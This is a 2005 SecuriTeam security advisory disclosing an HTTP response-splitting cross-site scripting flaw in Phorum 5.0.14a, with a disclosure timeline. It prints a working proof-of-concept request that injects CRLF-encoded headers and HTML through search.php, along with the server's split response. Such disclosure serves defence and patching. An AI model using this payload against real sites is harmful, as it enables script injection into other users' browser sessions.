

[UNIX] Phorum Location Header Cross Site Scripting

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0144.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 03/29/05

To: list@securiteam.com

Date: 29 Mar 2005 19:09:35 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Phorum Location Header Cross Site Scripting

SUMMARY

" <<http://www.phorum.org>> Phorum is a web based message board written in PHP. Phorum is designed with high-availability and visitor ease of use in mind. Features such as mailing list integration, easy customization and simple installation make Phorum a powerful add-in to any website."

Input passed to the "Location" parameter is not properly sanitized. This can be exploited to inject malicious characters into HTTP headers and allows execution of arbitrary HTML and script code in a user's browser session in context of an affected site.

DETAILS

Vulnerable Systems:

* Phorum version 5.0.14a

Immune Systems:

* Phorum version 5.0.15a

Request:

Securiteam: [UNIX] Phorum Location Header Cross Site Scripting

http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0a
Content-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0a
Content-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a
<html>XSS</html>%0d%0a &author=1&subject=1&match_forum=ALL
&match_type=ALL&match_dates=30

Result:

HTTP/1.1 302 Found
Date: Tue, 01 Mar 2005 12:33:53 GMT
Server: Apache/1.3.31 (Unix) PHP/4.3.10
X-Powered-By: PHP/4.3.10
Location:
http://[server]/phorum5/search.php?0,search=1,page=1,match_type=ALL,
match_dates=30,match_forum=ALL,body=
Content-Length: 0

HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 34

<html>XSS</html>
,author=1,subject=1
Connection: close
Content-Type: text/html
<...>

- Disclosure Timeline:
* 10.03.05 - Reported to vendor
* 22.03.05 - Public release

ADDITIONAL INFORMATION

The information has been provided by <mailto:anisimov@ptsecurity.com>
Alexander Anisimov.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.